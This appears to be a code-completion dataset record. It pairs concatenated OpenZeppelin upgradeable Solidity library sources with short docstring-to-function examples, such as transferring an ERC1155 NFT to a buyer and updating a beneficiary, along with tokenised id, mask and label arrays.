no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; }
Transfer NFT to buyer
IERC1155Upgradeable(_nftAddress).safeTransferFrom(_owner, _msgSender(), _tokenId, 1, bytes(""));
14,624,448
[ 1, 5912, 423, 4464, 358, 27037, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 467, 654, 39, 2499, 2539, 10784, 429, 24899, 82, 1222, 1887, 2934, 4626, 5912, 1265, 24899, 8443, 16, 389, 3576, 12021, 9334, 389, 2316, 548, 16, 404, 16, 1731, 2932, 7923, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x759f001b3fDe502537901a1e85E8e01333657864/sources/test.sol
* @notice Update beneficiary to `_beneficiary` @param _beneficiary The address of the new beneficiary [to whom fees are to be sent]/
function updateBeneficiary(address _beneficiary) external onlyOwner { require(_beneficiaryIsValid(_beneficiary), "Invalid Beneficiary Address"); _updateBeneficiary(_beneficiary); }
9,475,123
[ 1, 1891, 27641, 74, 14463, 814, 358, 1375, 67, 70, 4009, 74, 14463, 814, 68, 225, 389, 70, 4009, 74, 14463, 814, 1021, 1758, 434, 326, 394, 27641, 74, 14463, 814, 306, 869, 600, 362, 1656, 281, 854, 358, 506, 3271, 18537, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 38, 4009, 74, 14463, 814, 12, 2867, 389, 70, 4009, 74, 14463, 814, 13, 3903, 1338, 5541, 288, 203, 3639, 2583, 24899, 70, 4009, 74, 14463, 814, 20536, 24899, 70, 4009, 74, 14463, 814, 3631, 315, 1941, 605, 4009, 74, 14463, 814, 5267, 8863, 203, 203, 3639, 389, 2725, 38, 4009, 74, 14463, 814, 24899, 70, 4009, 74, 14463, 814, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/100/0x21cd73a7f09032689F833624e2840CBB958d9181/sources/RandomAuRa.sol
@dev Checks whether the current validators at the end of each collection round revealed their numbers, and removes malicious validators if needed. This function does nothing if the current block is not the last block of the current collection round. Can only be called by the `BlockRewardAuRa` contract (by its `reward` function). This is the last block of the current collection round Check whether each validator didn't reveal their number during the current collection round Mark the validator as malicious
